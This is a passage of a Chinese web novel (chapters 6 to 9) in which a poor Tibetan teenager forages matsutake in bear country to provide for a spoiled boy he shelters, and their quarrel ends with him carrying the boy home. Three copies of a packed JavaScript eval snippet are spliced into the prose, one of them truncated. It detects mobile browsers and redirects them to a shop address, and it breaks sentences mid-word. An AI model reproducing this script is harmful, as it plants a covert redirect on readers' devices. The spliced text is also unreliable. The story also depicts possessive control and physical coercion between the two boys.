江措忙了一上午,下山上山,回家后洗衣晒被,打扫卫生,马不停蹄煮饭,而沈泱什么都没有付出,甚至都没有像一个监工一样站在江措旁边监督他工作。 对着天空发呆,听歌,玩玩手机上的游戏,看到一只牦牛在不远处吃草,趴在门边欣赏了一会儿,天很蓝,觉得漂亮,也望了一会儿。 就这样无所事事,也没有对江措的辛苦进行褒奖的沈泱竟然还在嫌弃这样丰盛的午餐。 午餐当然是很丰盛的,江措上一次吃成本超过一百块的饭,还是在不知道多少年前了。 所以十七岁的江措看着比他大还大几个月,挑剔娇气难伺候还没有对照顾他的江措多看几眼的沈泱,头一次心里生出了一股不快的情绪。 这股情绪来得不强烈,却难以忽视,严重的影响了江措的心情。 江措的脸色阴沉,他本来就是很凶悍的长相,只是勤劳沉默的性格容易让沈泱忽略他的危险性。 喉咙滚了滚,沈泱似乎意识到什么,低声讲道:“白米饭是新煮的,我吃米饭就好了。” 沈泱垂着头,江措很高,看到他后颈往领口处绵延出一片嫩豆腐似的白,上面还有没消下去的粉色印记。 他细细白白的手指捏着木筷子,端着粗糙的瓷碗,用筷子一颗一颗夹白米饭吃,像是一只受到了很委屈对待的娇气波斯猫。 江措心里的不爽瞬间消失了。 他不是现在才知道沈泱的娇气娇贵挑剔自我难伺候,是决定养他之前就清楚的事实,雪白的皮毛,骄矜的神情,快乐自在的姿态是需要付出一些代价才能得到的东西。 他忽然站起身。 江措一站起来,沈泱眼前的光线都变暗了,他这么高,像极具威慑性的险山,沈泱心跳漏了两拍。 江措起身去拿了今天买的排骨,给挑剔难伺候的沈泱做了一份土豆炖排骨,沈泱吃得心满意足。 沈泱放下手机,缩进被窝里,露出巴掌大的一张小脸。 江措没关灯,土坯房里亮堂堂的,沈泱的脸在昏暗的土坯房格外的明亮,他想了想,给出回答,“没动过那不算剩下。” 江措嗯了一声,“明天我要去山上挖松茸,出门的时候,我会把早饭和午饭做好,早饭温在锅里,你起床就可以吃,午餐你自己热一下,晚饭等我回来给你做。” 眉头忽然一拧,沈泱的下颌往下缩了缩,陷进了藏蓝色床单里,越发显得他像皮肤像剥了壳的鸡蛋一样的沈泱,江措盯着他,怀疑道:“你会烧火吗?” “当然会!”沈泱睁大眼睛,信誓旦旦地说,“我参加过野外夏令营,当然会烧火。” 江措放了心,“睡觉。” 他起身关了灯。 凌晨四点,高原还笼罩在一片漆黑的沉寂中时,江措打开手电筒,摩挲着穿上衣服,轻手轻脚离开房间,动作柔和地关上门,江措先给沈泱做好了饭菜。 他昨天想多买一点新鲜的肉类,但他家没冰箱,现在白天气温不算低,买了些腊排骨,炖好装好,江措背着背篓,拿着铁头铲出了门。 春天虫草,夏季松茸,是大部分本地人主要的收入来源,至于牦牛,江措没这种需要本钱的东西。 蘑菇容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976513|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易出现在雨后,七月是雨季,但这个月一直没下雨,江措眼神好用,什么陡峭危险的崖悬壁都敢去找一找,一天下来,收获仍然不太行。 山下的街口,他把新鲜采摘的松茸卖给收货的人,看品质定价,松茸个头不大,大部分都开了伞,十多块一斤,江措卖了四十二块钱。 “小伙子,你那个不买啊?”老板眼尖,盯见江措背篓里用树叶包裹住的,小臂粗的胖嘟嘟大松茸,“你那个品质好,得有两三斤了吧,我给你七十块钱。” 江措数了数手里的钱,确认是四十二无疑,江措将带着泥巴的钱塞进裤兜里,说:“这个不卖。” “你嫌少?八十怎么样?” 江措迟疑了几秒,摇头,“我想留给我家里人吃。” “九十,小兄弟,你总要让我赚一点吧。” “真不卖。”江措背着背篓走了。 老板在后面不理解地骂,“衣服都烂成那样了,还吃这么能卖钱的东西,有病吧。” 江措回到村寨里,他住在村子的尾巴上,他今天下山比从前早一点,天光还有点微色,没碰到村子里的其他人,快步回家,江措推开门。 沈泱垂头丧气地坐在门檐下,没玩手机,听见动静,他抬起头,忙不迭地朝江措告状,“江措,你们家的柴有问题,我烧了半天都没办法点燃!” 他仰着头说话,江措看见他下颌连接脖颈的皮肤上有一点没擦干净的柴灰,像雪白色的床单燎了一个洞。 有点碍眼。 “还有,你看我的手都被你家不听话的柴火打到了。”江措垂眸,沈泱的手背果然有一点格格不入的红。 烧火怎么能伤到手背,江措疑惑。 走进正房,开灯,江措看见凌乱的房间,火塘旁边他垒得整整齐齐的柴火像经历了鬼子进屋寻宝,乱七八糟地出现在了房间里的每一个角落。 放铁锅的铁架子也摔倒在地,溅出很大一片柴火灰,铁锅头朝下扣在地上。 江措看了眼沈泱,沈泱没有对满地狼藉感到一丝愧疚,也没有生出羞愧的情绪,好像真的全是江措家不听话的柴火的问题。 江措弯腰,把散落在各处的柴火捡起来垒整齐,铁架子立好,铁锅回到它原来的位置,拿了扫把,利落地扫走浅灰色的柴灰。 “没吃午饭?” “没有。”沈泱按着肚子,语气委屈道,“我现在好饿。” 江措给沈泱准备的午饭还放在老式的木桌子上,用搪瓷盆盖好,没给沈泱热饭,江措拿出那朵大松茸,清洗干净后切片。 然后把平底锅洗干净,生好火后放上去。 锅热放油,铺上松茸片小火慢煎,香味散发出来,出锅之前,江措撒上盐。 “好香啊,江措,你煎的这个松茸比我家原来的阿姨煎的都好吃。”沈泱尝了一片松茸后,眼睛亮了亮,又好奇地问江措,“是不是你经常做松茸吃,所以手艺这么好?” 江措掀了下眼皮,把沈泱中午没吃的午饭放在火塘旁边温热,回答:“这是我第一次做松茸吃。” 沈泱:“?” 沈泱的午饭温热了,江措端起来,吃掉了。 吃饱喝足,江措洗碗,沈泱站在他旁边说:“江措,你可以给我买一个电磁炉吗?按一按,就可以加热了,沈牛粪家的那种。” 沈泱没有不懂事到要求江措在家给他做饭的地步,毕竟江措要挖松茸赚钱,但他总不能每天饿着肚子等江措回家吧。 蹲在屋檐下刷锅的江措:“……” 他侧眸扫了眼沈泱,他才打算忙完了就教沈泱烧火的,烧火没有任何难度,他三岁就会了。 眼神撩过沈泱嫩豆腐一般的手,他以前做过的最重的活是什么?反正不包括烧火。 “不行吗?江措?” “……明天我回来的时候给你带回来。” “好。” “那我明天的午饭怎么办?总不能让我继续饿着吧。”沈泱眉头蹙了起来。 也是可以饿着的吧,你在你大伯家不就是饿着的吗?而且就算饭菜不能加热,冷的也不是不可以吃吧。 江措:“明天我会早点回来,给你做午饭。” 7. 第 7 章 第二天,江措提前了三个小时下山。 没找到大的松茸,采了三斤多的普通松茸。 品质不行,今天收购价和昨天一样,赚了五十块钱。 卖完松茸,江措背着背篓去镇子里,来到卖电器的商店,买了一个电磁炉,电磁炉不能没有可以烧电用的锅,江措又买了一个带盖子的铁锅,他考虑得周到,还买了蒸架,沈泱热东西才方便。 买的东西都不是便宜货,老板加起来要价六百七。 江措讲价,“五百卖吗?” 老板:“小兄弟,六百七已经是最便宜的价格了,你这个电磁炉和铁锅都选最好的,原价一共要八百多。” “要不你换一个买,你买这个铁锅,我给你便宜点,一共六百三!”老板指了指旁边那个带长柄的铁锅。 江措瞥了一眼,没看中,“就原来这个,一共五百二。” “六百,真的,这是底价了。” “五百三。” “我只有五百三了。” 老板犹豫。 江措:“要不先卖给我?过几天我再来补给你五十?” “你真只带了五百三?” 江措:“嗯。”不是只带了五百三,而是全身上下加起来还有五百三十的意思。 老板上上下下打量他一眼,认了,“五百三就五百三啊,小兄弟,我这次是真没赚你什么钱了,你去前面问一下,没六百块,是真拿不下来。” 江措结账,他去山上挖松茸赚钱,手当然不干净,指甲缝里全是泥,掏出来的一把钱皱皱巴巴,有零有整。 江措数了一遍,确定没有多余的钱后,手里的钞票全部递给老板。 老板将没开封的电磁炉和铁锅蒸屉拿出来,江措检查没问题后,装进纸箱子,放进背篓里。 他的神色很平静,平静得好像刚刚花出去的钱不是江措剩下的所有积蓄。 江措一年花不到三千块钱,养沈泱不到三天,就花了他一年多的开销。 晚上回家以后,江措看完电磁炉的说明书,教会了沈泱如何使用它,确信沈泱明天中午可以自己热饭,江措第二天多在山上待了一个小时。 收获仍然不算好,背篓空了一大半,卖了五十九块钱。 老板和旁边的藏民闲聊:“怎么你们最近每个人挖的松茸这么少?”挖松茸是个能活,也是个运气活,有些厉害的以前每天能挖二三十斤。 “最近下雨少,来挖松茸人又太多了,我们每个人能挖到的不就少了吗?” “怎么忽然多了人?”旁边卖牛肉干的藏民插话。 “还不是旁边大愿山附近的人,全跑到我们这里面的山来捡松茸了。”有人搭了一句话。 “大愿山,他们那边怎么跑你们这边来了?” “上个月月底吧,好几个人都死在他们那边的山里了,他们山里好像有熊出来了。” 满脸皱纹的中年汉子叹一口气,“据说他们那边雨比我们这边还多一点,松茸应该挺多的。” 他旁边的人赶紧拉着他,“你可别去他们山里摘,万一真遇上那头吃人的熊怎么办?” 靠海吃海,靠海吃海,藏民们以摘虫草和松茸为生,山里什么都有,熊狼牦牛,人进去了死在里面不算稀罕事,但半个月死三个,风险着实太大,大家没有豁出命去赚钱的勇气。 江措听了一嘴,老板有了零钱,把江措的五十九块钱递给他。 江措打着手电筒回家,有了电磁炉的帮忙,今天中午沈泱顺利地吃到了午饭。 江措端了一盆水出来,将陷在手指甲缝里的泥巴清洗干净,进房间给沈泱做晚饭。 翌日的收获仍然不算好,只有三十二块钱。 捏着三十二块钱和昨天的五十九块钱,江措去超市买了一些充饥的零食饼干,朝着镇子的东边走出去。 几百米后,他停在一栋二层小楼前,小楼水泥修的,没抹白没贴砖,灰扑扑地屹立着。 他拍了拍半掩的卷帘门,噼里啪啦的声音响了起来。 没人来开门,江措又敲了几下。 “谁啊?”一个年轻少年的声音从门内响了起来,伴随哒哒哒的脚步声,胡大江一只手捏着滑盖手机,拉开卷帘门,被打扰的不爽眼神在看到江措时瞬间转为惊喜,“江措,你今天怎么有空过来?” 余光扫到黑色塑料袋里露出来的零食包装,一头黄发,遮住半张脸的胡大江乐道,“你说你来就来,还给我买什么东西啊!” 说这样的话,手却毫不迟疑地伸了过去。 江措拎着满当当的塑料袋,往后退了半步。 胡大江:“?” “不是给你买的。” 胡大江:“?” “这几天有空吗?想你帮我一个忙。” “有啊,你有事找我,没空我也要挤出空来。” 胡大江让他进来说话,问他吃不吃东西,给他倒了一杯酥油茶。 江措说:“我明天打算去大愿山那边的山里捡松茸……” 胡大江差点把手里的酥油茶全洒在地上,“大愿山!你不要命了!那座山里最近都死了三个人了。” 胡大江的妈妈算是江措爸爸的表妹,江措那爹是个混不吝,他亲妹妹一家带着他老妈跑路了,没过一两年江措的亲妈也跑路了。 最亲的亲人都避之不及,其他亲戚更不想和他往来。 江措和胡大江的父母有点亲缘,但也不熟悉。 胡大江和江措关系好,是因为两个人原来在一起读小学和初中。 胡大江那时候长得矮小,经常被人欺负,江措帮过他几回,一来二去,胡大江就单方面和江措的关系好了。 江措的妈在他六岁时就跑了,他爸爸也没想送他去读书,但藏民的孩子读书是强制性的政策要求,拖了两年,江措九岁时终于进了学。 他天生是读书的料,小学跳了两级,现在在他们县城最好的高中读书,学费和住宿费全免,据说每年还有生活补助,当然,不是因为江措穷,而是江措成绩好。 胡大江成绩不行,初中毕业,没考上高中,现在在家里待业。 胡大江在江措旁边坐下,犹豫了片刻道,“江措,你是不是很缺钱?我爸妈还有点钱,要不我让他们借给你?” “你能借我一万吗?”江措说。 “一万!你要这么多钱干什么!” “我不会出事,我有经验。”江措说。 胡大江心大,听他这么说也不再劝,他可以让他爸妈借点钱给江措,小几千还行,一万对他来说金额有点巨大了。 他哥去年才买了房子,家里的房子也没装修完,不是很宽裕。 “对了,江措,你今天找我到底干什么?”胡大江又扫了眼手机。 “我家里住了一个人……” “你有女朋友了!江措,你厉害啊!”胡大江的声音陡然高了起来。 江措眼皮子跳了两下,“不是女朋友。” “是个男的。” “男的啊?”胡大江瞬间丧失兴趣。 江措:“大愿山距离这里太远了,我没办法每天来回,接下来几天,你每天去一趟我家,给他做一下饭,能帮这个忙吗?” “行啊,你都开口了,那我肯定能帮。” 江措也不多留,“那我先回去了。” “别着急走啊,我爸妈这几天在外面做工,不回家,我请你去镇子上吃饭。” “算了,我还有事,我先回去了。” 少年宽阔脊背上的草编背篓沾满了泥土,江措回到家,告诉沈泱明天他要去有点远的山里捡松茸,晚上不回来了,到时候会有一个叫胡大江的男生来给他做饭,又把对方的外貌性格详细讲了一遍。 “不能在附近的山里捡吗?” 江措正在煮晚饭,今天的晚饭是腊肉炒蘑菇,江措眼皮往上掀了一下,“那边的山雨多一点,松茸大。” 翌日,江措没有四点钟就起床了。 淡橘色的微光从窗户透进来时,江措挪了挪身体,面朝着沈泱的方向,睁开了眼睛。 隔壁床的沈泱睡得很熟,下颌陷在深色的柔软被褥里,时不时还弯一弯嘴唇,江措情绪没什么起伏的盯着他看了半晌,掀开被子起床。 穿上衣服,洗了一把脸,镰刀磨的锋利一些,江措拿着它出了门。 沈军安一家刚刚起床不久,院子里飘出来电视的声音,厨房的烟囱里有炊烟冒出来。 沈家发正在院子里刷牙,瞧见出现在门口的江措,终于不疼了的小腹又隐隐作痛。 高原的早上太阳还没出来,很冷,沈军安披着一件军大衣,蹲在地上吧嗒吧嗒地咂着旱烟,有些浑浊的眼神在触及拿着锋利镰刀的江措时一凛。 “江措,你又要干什么?”沈军安摆出长辈的威严。 江措扫过院子里的沈家人,压着眉,垂着眼,脸上的表情看起来很平静,却又有种野兽择人而噬的凶狠,“你们再敢打沈泱的主意。” 手臂一抬,镰刀的刀刃刺进了墙缝,肌肉遒劲的手臂一拔,刀刃抽出来,扑簌簌的灰在江措身后落下。 江措抬起眼说:“我爸是个杀人犯。” 目光凝在沈军安身上,江措砸下几个字,“沈泱如果不见了,我只找你们家。” 沈军安一张脸快沉到地上去了,他这两天发现江措白天出门摘松茸了,沈泱一个人在家。 江措不在家,沈泱那点子力气能管什么用?何况沈泱的爸爸不在了,身为沈泱的大伯,沈军安觉得沈泱就应该被自己安排管理。 浑浊阴狠的目光落在不远处的少年身上,换个人他还真不怕,但是江措…… 一个一无所有的江措,满身蛮力的江措,又扫过院子里自己几个不成器的儿子,但凡他们有一个比江措厉害,他还能被一个十几岁的小畜生吓唬。 沈军安木着脸抽烟,力气一下比一下重。 江措又扫了眼群墙角的沈家发,捏着镰刀,转身离开。 江措在院子里时,沈大娘大气不敢出一口,他一离开,沈大娘快步过去,看见自己被江措戳出一个长缝的院墙,心疼地大骂道,“这小畜生,早晚要和他爸一样吃枪子儿。” 沈军安黑着脸骂她:“还不快去煮早饭,多大一早上了,你看还有谁家没有吃早饭!” 沈泱睡醒了,缩在被窝里懒了一会儿,又摸出手机玩。 昨天他找了个开阔的地方,终于连了网,他下载了一个新游戏,会说话的汤姆猫。 只要自己对着小猫说话,汤姆猫就会复述他的话。 挺有意思。 沈泱点开游戏,手有点欠,先打了汤姆猫几下,看它捂着小肚子,又身体摇摇晃晃地转着圈,最后把红色的舌头吐出来,垂头丧气。 好搞笑,沈泱忍不住笑了笑,接着清了清嗓子,趴在被窝里,对着汤姆讲话,“我是一只小懒猫,不起床,不起床的小懒猫。” 灰色小猫怪腔怪调地学习他讲话,“我是一只小懒猫,不起床,不起床的小懒猫。” 沈泱扑哧一下乐了。 身后响起吱呀的推门声。 沈泱蓦地回过头,现在外面的天已经很亮了,土坯房的采光不行,尽管有光从窗户和门口投进来,房间里还是显得很昏暗。 吸引人目光的是床上那张白的和珍珠一样的脸,睡了一夜的头发乱糟糟,眼睛微微瞪大,明显有点惊慌。 待看见出现在门口的人是江措时,沈泱又松了一口气,他拥着藏蓝色的四件套在床上坐好,有点惊讶地讲话,“江措,你今天怎么还没有出门。” “有点事耽搁了。”江措说,“醒了就起床,早饭要做好了。” 沈泱掀开被子下床,床有点高,他背对着江措,江措瞧见他两条长腿之上,把柔软睡裤撑出一个饱满弧度的屁股。 江措收回目光。 沈泱换了衣服,洗脸刷牙梳头发,慢条斯理地忙碌了一会儿,他捏着手机在江措身旁坐下。 江措已经把沈泱的午 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沈泱把手机收了起来,对江措一本正经地讲道,“米饭好了,我们吃饭吧,江措。” 吃完饭,江措收拾干净厨具,又在有些破破烂烂的院门上钉了几根厚木条加固,交代了一番沈泱,晚上睡觉的时候要关好门窗。 江措拿出他进山的水壶,一个一点五升的可口可乐瓶子,往里面灌满水,老棉布里裹着他今早煎的干面饼,背上背篓,里面放着铁锹和铁头铲木棍和一件深绿色的破棉服,出了门。 沈泱站在院子门口目送他,今天的太阳明晃晃的,落在江措高大挺拔的背影上,看着有点刺眼睛。 江措先去了一趟胡大江家,又交代了一番接下来三天务必去他家,给住在他家里的人做饭后,江措长腿大步迈开,快速赶往大愿山。 大愿山不是一座山,指的是附近的一片山,进入大愿山,江措碰到藏民的概率明显减少。 往山上爬了小一千米,脚下的泥土肉眼可见地变得松润,腐败的杉叶枫叶和沙棘树叶落在地上,黄色胶鞋踩上去咯吱咯吱乱响。 松茸的保鲜期很短,当天摘的松茸最好是当天下山,卖给收松茸的商贩,此时松茸最新鲜,能卖到最高的价钱。 江措今天出门太晚了,上山摘松茸的时候已经快下午三点钟了,三个小时就下山了,收获依然比前几天好很多,摘的大部分又是没开伞,没虫眼,头脚均匀的好松茸。 收到卖松茸的钱,天空飘起了毛毛小雨,江措去附近的藏民家灌了一瓶水,道谢后离开。 雨大了起来,附近有可以住宿的廉价旅馆,发光的招牌上亮着红字,三十一晚,裤兜里塞着刚刚卖松茸赚的两百多块钱,江措没舍得去住。 石桥下的桥洞也是个挡风遮雨的地方,江措打着手电筒,穿过怪石嶙峋的小路,快步走到石桥下。 军绿色的破棉服裹在身上,倾盆大雨的昏暗夜色里,江措摸索着拿出硬邦邦的干面饼,一口粗糙扎实的干面饼配一口凉水,江措胃口大,两个吃下去也差不多饱了。 见不到沈泱,懒得那么讲究,桥洞外面的雨声哗啦哗啦,时不时溅几颗到江措的身上,手脸懒得洗,江措后背抵着桥梁,闭着眼睛,警惕性很强地睡了过去。 江措没遇见黑熊,在他挖到一个直径有十七八厘米的大松茸时,遇见了一头眼神凶狠的孤狼。 视线和灰狼一对上,对方立刻从一棵冷杉树后凶狠地扑过来,凌厉的眼神直勾勾地锁住江措的脖子。 江措侧身,将铁锹头戳进灰狼的张开的口腔,迅速地捡起旁边尖锐的大石,毫不留情地朝狼脑袋上砸下去。 凶狠的几下之后,灰狼一动不动,血淋淋地躺在江措的脚边。 江措浑身的汗毛却竖了起来,他扭过脸,眼神碰到十来米开外,被沙棘树遮挡的一双漆黑浑浊的熊眼。 一人一熊无声地对峙了一会儿,黑熊迈着比江措脚掌大两倍的熊爪,朝另外一个方向走远了。 江措迅速收拾东西,朝和黑熊相反的方向走去。 大愿山熊伤人的消息传出去后,来这里挖松茸的藏民锐减七八成,这几天都下过雨,松茸密密麻麻地从地里钻出来。 只要眼神好。 就能精准地在枯枝烂叶的掩藏里找到值钱的宝贝。 江措一天挖到了接近三十斤的松茸,大部分还是品相最好的那种。 来到山下,卖了六百多块钱,晚上去附近的饭馆里吃了酥油茶和糌粑,可口可乐的大瓶子里灌满水,江措来到昨晚休息的桥洞里。 第三日江措没遇见危险的野生动物,收获不比前一日少。 第四日江措提前了三个小时下山,背篓里的二十来斤松茸卖掉,江措走路回家。 从大愿山脚到回宁村,江措那么快的脚程,都走了接近三个小时。 回到村子里天色已经擦黑了,江措手里拎着一个塑料袋,他经过一个路口时,看见有几家小卖部,他买了一串香蕉,不知道今天的香蕉沈泱会不会喜欢吃。 推开院门的时候,江措叫了两声沈泱,没有听到沈泱的声音。 加固过的木门被彻底推开,没有灯光从土坯房里透出来,一切都黑漆漆的,鸦雀无声,江措加快步伐,正房上了锁。 他拧开锁推开门,屋里屋外找了个遍,没看到沈泱的人影。 8. 第 8 章 又叫了几声沈泱,还是没得到任何回应,房间里,被子叠得不算整齐,沈泱的行李箱和洗漱用品全都放在原来的地方。 眉眼间闪过一丝戾色,江措拿上铁头铲出了门。 “江措,你干什么?”沈家旺正在收晾晒在院子里的衣服,院子里忽然出现了一个阴森森的人影,砖砌的屋檐下,冷光幽幽地洒在江措身上,沈家旺还以为是什么夺命的厉鬼。 他抱着一堆衣服,衣架横亘脖颈下方,护在胸膛前,哆嗦道:“江江措,你来做什么?我们家可没去找沈泱。” “没有?”江措拿着铁头铲朝他逼近,从齿缝里挤出几个令人心惊肉跳的字,“那沈泱怎么会不见了。” 躲在客厅里沈家发吼了一句,“那和我们没关系,我今天中午看见沈泱和胡大江一起下山了!” 江措不加掩饰的凶狠目光扫过沈家兄弟,粗糙的大手握紧铁头铲,转身离开沈家。 胡大江家在山下镇子的尾巴上,平时江措走半个多小时的山路,今天只用了二十多分钟,抵达了目的地。 胡大江一楼的卷帘门关着,二楼的窗户里有光溢出来,江措用力拍打了几下卷帘门,楼上一道不陌生的声音传来,“谁啊,大晚上的。” 江措继续啪啪啪大力拍门,卷帘门在江措无情的大手下,晃动得羸弱而无力。 胡大江穿着拖鞋从楼上跑下来,烦躁地打开门,“谁啊,把我家门拍坏……江措,你回来了!” “沈泱在哪里?”江措还是四天前出门的打扮,在高山密林里待了四天,略显局促的外套上全是泥巴,还有几滴干涸的狼血黑漆漆的凝在胸口。 江措没有显得特别狼狈的原因是,今天下午回家的时候,经过一条河,蹲下来,花三分钟洗了脸,又花几分钟搓掉大手上的泥巴,指甲缝里的泥巴也一丝不苟地清理出来。 沈泱太讲究了。 江措顿珠看起来有点狠,像是归家的野生牦牛发现自己的伴侣失踪了。 什么破想法? 胡大江回过神,连忙道:“在楼上呢,我借了一个游戏机回家,他在山上无聊,我叫他下来和我一起打游戏。” 江措大步上了楼。 沈泱穿了一双新买的浅灰色拖鞋,坐在胡大江家新买的皮革沙发上,胡大江下楼去给不知名的人开门,沈泱低头玩着手机。 听到脚步声响起,沈泱放下手机,迫不及待拿起游戏手柄,“胡大江,快点来……”扭过头,看到走进客厅里的男人时沈泱怔了一下,愕然道:“江措,你怎么在这里?” 和三天半前他离开的时候,沈泱仍旧没有任何的变化,皮肤白的像是剥了壳的鸡蛋,黑发柔软,穿着他从蓉城带来的价值不菲的灰色连帽卫衣和黑色长裤,漂亮干净,像是一株没有历经任何风雨,一直被人精心呵护照顾的娇嫩花朵。 江措和三天前相比,衣服乱糟糟,脚上的黄胶鞋烂了一个大洞,藏在不合身外套下的手臂多了好几道伤痕,泥巴味血味汗味衣服打湿了又阴干的味道混在他身上,整个人就比街头的流浪汉好一些。 江措眉压着眼,直勾勾地盯着落魄了但仍旧过着很娇贵日子的沈泱问道,“为什么不在家里等着我?” 后面几个字,声调不自觉地拔高了,这边的藏民的汉语本来就带着一种硬邦邦的本地口音,声调拔高后,更显得凶恶。 “这不是沈泱在山上待着无聊吗?我也很无聊,反正我爸妈没在家,我带他下来打游戏,顺便给他把饭煮了。”胡大江感觉气氛不对,忙插了话。 江措没给胡大江一个眼神,就目不转睛地盯着沈泱,这个时候,他又不像家养的老实的温顺的牦牛了,而是野生的危险的充满了侵略性的牦牛。 胸膛因为翻涌的情绪剧烈地起伏着,江措手指深深地陷入指腹之中,没人知道他现在心中到底有多么不爽,他看起来冷淡,很多时候对什么事都不在乎,但他只是因为他根本不关心那些人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976515|193520||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和事。 所以他们就算是死在江措面前,甚至不管不顾地在江措面前□□,江措也能做到面不改色。 真正在乎的东西江措一直有很强的占有欲和控制欲,四岁的时候他养过一只狗,后来一个村子里的女生总是投喂它,那只狗对对方摇尾巴就很欢快,和冲着他摇尾巴差不多,江措都极其不开心。 这是他的狗,就应该对自己最热情,最喜欢自己。 而且在江措的预料中,沈泱应该在回宁村的房子里等着他回家,可是门打开,什么都没有,乌漆墨黑的一座死房子。 沈泱只言片语都没有留下,就这样消失在了他的世界里。 沈泱盯着脸色不善的江措,不开心了,“你干嘛啊,不是你让胡大江照顾我的吗?” “那我有让你跟着他走吗?而且一句话也不给我留下,沈泱,你到底有没有一点良心,你知不知道我找了你多久?” 听江措一说,沈泱看着双眼充血的江措,心里有一点愧疚,他好像是忘了告诉江措他下山了。 但是很快,沈泱又理直气壮地骂道:“还不是你没有手机?我想给你打电话又不成!” “我家是没有纸还是没有笔?你他妈还是不会写字?”江措愤怒得最后一句话都是用藏语骂出来的。 一股糟糕的心思涌出来,他觉得他不应该对沈泱好,就应该让他被他大伯卖掉,沈泱这样自我娇气的人,如果没有遭遇过很恶劣的对待,应该会觉得他对他的一切好都是理所当然的吧? 如果被人践踏过,像他一样被吊起来打,脸被男人的大脚踩在地上骂过小畜生,高烧四十度浑身发抖地躺在床上,却还被人像死猪一样拽起来给他煮饭,昏倒在火塘前,等来的却是一阵辱骂他偷懒的拳打脚踢。 那个时候,江措完全不需要像现在一样把沈泱当公主一样伺候他,只是给他一碗干净的白米饭,不打他骂他,就算给他睡二十块钱一床的被子,他也会很感激江措吧。 9. 第 9 章 江措猛然上前,拽住沈泱的手腕,拉着他往外走。 “江措,你弄疼我了,你放开我!”沈泱穿着拖鞋,被他扯着离开。 江措充耳不闻,自顾自地拉着沈泱的手从二楼下去,走出胡大江家的卷帘门。 沈泱跌跌撞撞地被他拽着往外走,一边走,一边骂他,“江措,你这个混蛋,你松开我!!!” 脚下没站稳,沈泱差点摔在地上,江措结实的身躯挡了一下,沈泱扎扎实实地碰在江措坚硬的臂膀上。 眼泪差点涌了出来,沈泱委屈又气愤地说:“江措,你放开我,我不要和你回去了!我再也不要和你回去了!” 江措脚步猛然一顿,今夜的月光皎白,像秋日冰冷的霜雪一样洒在树上,房顶上,沈泱好看又无情的脸上。 一股前所未有的暴戾涌上心头,江措眼睛垂着,恶狠狠地盯着沈泱,像是一头在荒原上和野兽一起长大,没有经历过任何文明教化的人类,而这样的人类,纵然有人一样的外形,本质上,和茹毛饮血的野兽没什么不同。 沈泱终于把自己的手腕从江措粗糙的铁手里抽了出来,他很生气,江措凭什么可以这样对待他。 沈泱抿着唇,抬脚踹了江措两脚,又骂了他好几句,骂他是混蛋,骂他是臭鬼,骂他高的和铁线杆子一样。 骂完了,沈泱气喘吁吁地盯着江措。 江措忽然动了,他没有再拽着沈泱,大脚趾位置烂了一个洞的黄色大胶鞋大步流星地朝前走去,临走之前,语气森寒地朝沈泱扔下一句话,“你不用和我回去了,以后都不用和我回去了。” 沈泱愣了一下,这几秒钟,江措穿着他破破烂烂的鞋,飞快地走了十来米,他健步如飞,高大的轮廓不多时在沈泱的视野里变得很小。 沈泱突然觉得很委屈,一股酸涩从眼眶里不受控地涌出来,沈泱冲着江措的背影骂道:“不去就不去,你以为我想去啊,你家那么破,狗去了都要嫌弃……” 江措脚步停下,隔着十几米的距离,忽然转过头,鹰隼般锐利的眼光直直地盯着沈泱。 沈泱也不甘示弱地瞪着他。 沈泱娇气,怕疼,容易疼的哭出声,可他知道他爸爸带着家里仅剩的钱和情人离开没哭,被后妈扔到久瑭没哭,舅舅一直不来接一自己没哭,得知大伯要把自己卖掉没哭。 一颗晶莹的水光从他眼眶里滚落,沈泱抿着唇,侧过脸,快速地擦了一下。 江措又动了,不是朝前,而是朝着沈泱又走了过来,来到沈泱身前,也不等给他说话的机会,健硕的身体弯下来,一把将比他纤细很多的沈泱扛了起来。 一阵天旋地转后,沈泱头朝下,双脚乱踹道,“江措,江措顿珠!江措顿珠!你放我下来……” 没两下脚上的拖鞋被踹飞了。 沈泱继续气愤地踹他,一双腿踹在江措的厚实的脊背上,踹在江措挺翘的屁股上,沈泱喘着粗气地大骂,垂在江措身前的两只细长的胳膊也不听话的乱晃,“江措顿珠,江措炖猪,江措炖死猪……,你,你想用你肩膀把我硌死我吗?死我了!” 真她妈娇气,他是个男人吗?江措忽然想做很恶心的事,拔了沈泱的裤子好好看一看。 江措放下了一直叫嚷着不舒服要死了的沈泱,沈泱双脚赤裸,还没在地上站稳,江措双手从他的膝盖和后脖颈穿出去,打横抱起来沈泱。 沈泱心里不爽,抬手挠了一下江措的臂膀,又被他抱在怀里,仰着头凶神恶煞地骂他。 直到声嘶力竭。 一个小时后,沈泱和江措回到家。 江措开了灯,将沈泱放在木凳上坐下,把他的拖鞋从房间里取出来递给他,沈泱嗓音干哑地嫌弃道:“我脚上全是灰,你让我怎么穿啊!” 热水瓶里还有热水,江措兑了热水放进沈泱的洗脚盆里,热水端过去,沈泱没动。 江措在他身前蹲下,不顾沈泱的抗拒,粗糙的手掌捏住柔嫩的脚踝,将他的双脚放进脚盆里,用力地搓了一遍后,把他两只雪白的脚塞进拖鞋里。 